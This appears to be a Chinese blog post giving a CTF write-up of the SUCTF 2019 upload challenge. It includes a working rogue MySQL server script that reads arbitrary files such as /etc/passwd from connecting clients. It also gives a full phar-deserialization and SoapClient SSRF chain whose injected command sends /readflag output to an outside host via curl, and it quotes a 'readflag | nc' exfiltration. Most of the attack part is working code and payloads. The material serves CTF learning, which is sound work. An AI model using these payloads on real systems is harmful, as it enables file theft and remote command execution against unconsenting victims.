美文网首页
伪造mysql-server实现任意读取

伪造mysql-server实现任意读取

作者: Err0rzz | 来源:发表于2019-11-08 12:43 被阅读0次

    https://lightless.me/archives/read-mysql-client-file.html

    大概就类比于下面的对话:

    客户端:我想将/etc/passwd插入user表中
    服务端:那把/etc/passwd发给我
    客户端:巴拉巴拉
    

    我们所需要的做的就是搭建一个mysql服务端,然后完成上述过程,实现客户端的任意文件读取。

    LOAD DATA INFILE

    问题出在该语法上,该语法用于读取一个文件放入表中。两种用法如下:

    load data infile "/data/data.csv" into table TestTable;
    load data local infile "/home/lightless/data.csv" into table TestTable;
    

    区别在于,第二个用法多了local,表示的是读取客户端本地的"/home/lightless/data.csv",第一个用法则是读取服务端的文件。本次利用也是用的第二种用法。
    Mysql官方也提出了该语法的错误

    payload

    懒得抓包分析通信过程,直接上payload以及效果图吧。

    客户端:Kali GNU/Linux Rolling 
    服务端:Ubuntu 18.04.2 LTS
    

    在服务器端运行mysql_server.py

    #coding=utf-8
    #mysql_server.py
    
    import socket
    import logging
    logging.basicConfig(level=logging.DEBUG)
    
    filename="/etc/passwd"
    sv=socket.socket()
    sv.bind(("",3306))
    sv.listen(5)
    conn,address=sv.accept()
    logging.info('Conn from: %r', address)
    conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)
    logging.info("auth okay")
    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)
    logging.info("want file...")
    wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
    conn.sendall(wantfile)
    content=conn.recv(9999)
    logging.info(content)
    conn.close()
    

    filename为你想读取的文件绝对路径。
    然后客户端远程连接mysql服务器

    mysql -hx.x.x.x -uroot -p --local-infile
    

    遇到的问题

    在刚才客户端连接的时候如果不加参数--local-infile会读取失败,需要客户端在本地/etc/mysql/my.cnf中添加如下:

    [mysqld]
    local-infile = 1
    
    [mysql]
    local-infile = 1
    
    添加之后就可以不用添加参数

    其实一开始的时候客户端是用phpmysqli类连接的,代码如下:

    $m = new mysqli(); 
    $m->init(); 
    $m->real_connect('vps_ip','root','toor','mysql',3306); 
    $m->query('select 1;');
    

    但是这样运行会报错

    提示说LOAD DATA LOCAL INFILE受限制。

    可是如果我一定要用php连接该怎么办呢?
    搜了一下,有人说还需要修改客户端的php.ini(本人环境中在/etc/php/7.3/cli/目录下)

    mysqli.allow_local_infile = On
    

    去掉前面的注释符。


    此时再运行php,发现已经没有限制了,成功运行。

    [SUCTF]upload

    源码如下https://github.com/team-su/SUCTF-2019/tree/master/Web/Upload Labs 2
    这题折腾了好几天,从buuoj上的平台到自己的服务器上,从直接拿payload打到看通整个利用链,从不打算做了到再做一遍。我,真的,吐了。

    分析问题

    index.php中可以看到,其实主要就是检测文件后缀以及文件内容不能有<?
    func.php中对post请求中的url做了正则匹配,这里推荐一个网站正则

    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
            die("Go away!");
    
    过滤了类似phar之类的伪协议,可是可以用php://filter/resource=phar://绕过。
    然后是
            $file_path = $_POST['url'];
            $file = new File($file_path);
            $file->getMIME();
            echo "<p>Your file type is '$file' </p>";
    

    对请求的文件进行检测。
    跟进class.php看一下:

    class File{
    ...
        function __wakeup(){
            $class = new ReflectionClass($this->func);
            $a = $class->newInstanceArgs($this->file_name);
            $a->check();
        }
        
        function getMIME(){
            $finfo = finfo_open(FILEINFO_MIME_TYPE);
            $this->type = finfo_file($finfo, $this->file_name);
            finfo_close($finfo);
        }
    ...
    

    这里的getMIME()存在文件操作,所以可能存在phar反序列化。

    所以我们可以得到第一步该做的:

    1. 生成一个phar文件,payload$phar->setStub("<?php__HALT_COMPILER(); ?>");因为要绕<?和文件格式检测,所以改为$phar->setStub("GIF89a" . "<script language='php'>__HALT_COMPILER();</script>");或者$phar->setStub("GIF89aphp __HALT_COMPILER(); ?>");因为

    2. 修改phar后缀为jpg

    3. func.phpposturl=php://filter/resource=phar://filename.jpg触发第一个phar反序列化

    至于phar内容是什么,我们需要继续往下看。
    class.php中,我们还发现File类中还有个_wakeup

        function __wakeup(){
            $class = new ReflectionClass($this->func);
            $a = $class->newInstanceArgs($this->file_name);
            $a->check();
        }
    

    而且这个方法中还有ReflectionClass这么香的东西

    而且我们能发现我们需要的东西在admin.php
    <?php
    include 'config.php';
    
    class Ad{
    ...
        function check(){
    
            $reflect = new ReflectionClass($this->clazz);
            $this->instance = $reflect->newInstanceArgs();
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
            $reflectionMethod->invoke($this->instance, $this->arg1);
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
            $reflectionMethod->invoke($this->instance, $this->arg2);
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
            $reflectionMethod->invoke($this->instance, $this->arg3);
        }
    
        function __destruct(){
            system($this->cmd);
        }
    }
    
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
        if(isset($_POST['admin'])){
            $cmd = $_POST['cmd'];
    
            $clazz = $_POST['clazz'];
            $func1 = $_POST['func1'];
            $func2 = $_POST['func2'];
            $func3 = $_POST['func3'];
            $arg1 = $_POST['arg1'];
            $arg2 = $_POST['arg2'];
            $arg2 = $_POST['arg3'];
            $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
            $admin->check();
        }
    }
    ...
    

    php还需要本地访问,这里不难想到SoapClient进行SSRF

    所以我们第二步出来了:

    1. 第一步中phar的内容为一个File对象,类中$func=SoapClient;$filename=array{},这样
        function __wakeup(){
            $class = new ReflectionClass($this->func);
            $a = $class->newInstanceArgs($this->file_name);
            $a->check();
        }
    

    File对象被phar反序列化的时候,会触发_wakeup,然后根据参数实例化一个SoapClient对象,并且执行check函数。

    1. check函数并不存在,所以会触发_call魔术方法。
    2. 然后利用网上的payload,将请求发送给admin.php,并且请求参数可控(由Soapclient的第二个参数array控制)
    3. admin.php中执行我们需要的代码。

    现在理一下总体思路。

    1. 构造一个File对象,变量为SoapClient的参数。然后会去admin.php中执行代码。
    2. 将已经构造好的File对象放在phar反序列化中,生成phar文件。
    3. 上传phar文件,然后使用未被过滤的伪协议去访问该phar文件,利用文件操作函数触发phar反序列化。

    payload

    <?php
    @unlink('1.phar');
    @unlink('1.gif');
    $phar = new Phar('1.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt','text');
    $phar->setStub('<script language="php">__HALT_COMPILER();</script>');
    
    class File {
        public $file_name = "";
        public $func = "SoapClient";
    
        function __construct(){
            $target = "http://127.0.0.1/admin.php";
            $post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
            $headers = [];
            $this->file_name  = [
                null,
                array('location' => $target,
                      'user_agent'=> str_replace('^^', "\r\n", 'err0r^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string),
                      'uri'=>'zz')
            ];
        }
    }
    $object = new File;
    echo urlencode(serialize($object));
    $phar->setMetadata($object);
    $phar->stopBuffering();
    @rename('1.phar','1.gif');
    

    payload抄自tr1ple师傅
    主要就是$post_string这一串

    $post_string = 'admin=1&cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3='. "\r\n";
    

    首先admin=1是为了admin.php页面的限制。

    cmd=curl --referer "`/readflag`" "http://xss.buuoj.cn/index.php?do=api%26id=72Jvrh"
    

    利用curlreferer参数,来设置请求的referer值,且因为使用了`/readflag`,反引号在php中调用shell_exec,也就是相当于shell_exec('/readflag'),获取到的flag值放在referer中。请求我们设置好的xss平台。

    clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=
    

    是因为Ad类中的

    function check(){
    
            $reflect = new ReflectionClass($this->clazz);
            $this->instance = $reflect->newInstanceArgs();
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
            $reflectionMethod->invoke($this->instance, $this->arg1);
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
            $reflectionMethod->invoke($this->instance, $this->arg2);
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
            $reflectionMethod->invoke($this->instance, $this->arg3);
        }
    

    传入的参数相当于实例化一个SplStack对象,然后调用三次push方法,每次压入一个参数。

    payload中其他东西对着模板就行。
    最后生成1.gif,然后上传之后,利用php://filter/resource=phar://去触发反序列化即可。


    原题解法

    此时好像和rouge mysql都没有太大关系,那是因为buuoj上已经更改过题目,将原先的ip,port两个参数改成了cmd,且由原来的_destruct_wakeup,这就意味着我们不能再用上面的payload来触发,而需要用反序列化一个Ad类来触发。Suctf原来的admin.php如下:

    class Ad{
    ...
        function check(){
    
            $reflect = new ReflectionClass($this->clazz);
            $this->instance = $reflect->newInstanceArgs();
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
            $reflectionMethod->invoke($this->instance, $this->arg1);
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
            $reflectionMethod->invoke($this->instance, $this->arg2[0], $this->arg2[1], $this->arg2[2], $this->arg2[3], $this->arg2[4]);
    
            $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
            $reflectionMethod->invoke($this->instance, $this->arg3);
        }
    
        function __wakeup(){
            system("/readflag | nc $this->ip $this->port");
        }
    }
    
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
        if(isset($_POST['admin'])){
            $ip = $_POST['ip'];
            $port = $_POST['port'];
    ...
    

    这样看来,前面的步骤基本一致,要改的只是上面payload$post_string的值。

    我们先想一下要如何获取flag
    触发_wakeup。这样的话,我们就又需要一个新的Ad类的对象,放入phar中,被执行反序列化操作,从而触发_wakeup
    这样我们就需要下列代码:

    <?php
    
    class Ad{
        public $ip;
        public $port;
        function __construct(){
           $ip = 'x.x.x.x';
           $port = 'x';
        }
    }
    @unlink('2.phar');
    @unlink('2.gif');
    $phar = new Phar('2.phar');
    $phar->startBuffering();
    $phar->addFromString('test.txt','text');
    $phar->setStub('<script language="php">__HALT_COMPILER();</script>');
    $object = new Ad;
    echo urlencode(serialize($object));
    $phar->setMetadata($object);
    $phar->stopBuffering();
    rename('2.phar','2.gif');
    

    来生成第二个phar文件。
    接下来就是如何触发的问题了。
    还是需要文件操作。这里就需要用到伪造mysql-server来实现读取第二个phar文件,从而实现反序列化一系列操作。
    参考mysqli类实现的souge mysql代码:

    $m = new mysqli(); 
    $m->init(); 
    $m->real_connect('vps_ip','root','toor','mysql',3306); 
    $m->query('select 1;');
    

    $post_string就应该如下构造

    $post_string = 'admin=1&ip=x.x.x.x&port=x&clazz=mysqli&func1=init&func2=real_connect&func3=query&arg1=&arg2[0]=vps_ip&arg2[1]=root&arg2[2]=toor&arg2[3]=mysql&arg2[4]=3306&arg3=select 1;'
    

    这样当SoapClient将请求发给admin.php的时候,执行到check函数的时候,会通过实例化类和几个反射函数来完成对伪造的mysql服务器的连接。
    然后我们将

    #coding=utf-8
    #mysql_server.py
    
    import socket
    import logging
    logging.basicConfig(level=logging.DEBUG)
    
    filename="/etc/passwd"
    sv=socket.socket()
    sv.bind(("",3306))
    sv.listen(5)
    conn,address=sv.accept()
    logging.info('Conn from: %r', address)
    conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
    conn.recv(9999)
    logging.info("auth okay")
    conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
    conn.recv(9999)
    logging.info("want file...")
    wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
    conn.sendall(wantfile)
    content=conn.recv(9999)
    logging.info(content)
    conn.close()
    

    filename的值改为第二个phar文件的地址,从而触发第二个phar文件的反序列化,触发_wakeup,将flag外连出来。

    相关文章

      网友评论

          本文标题:伪造mysql-server实现任意读取

          本文链接:https://www.haomeiwen.com/subject/wgspbctx.html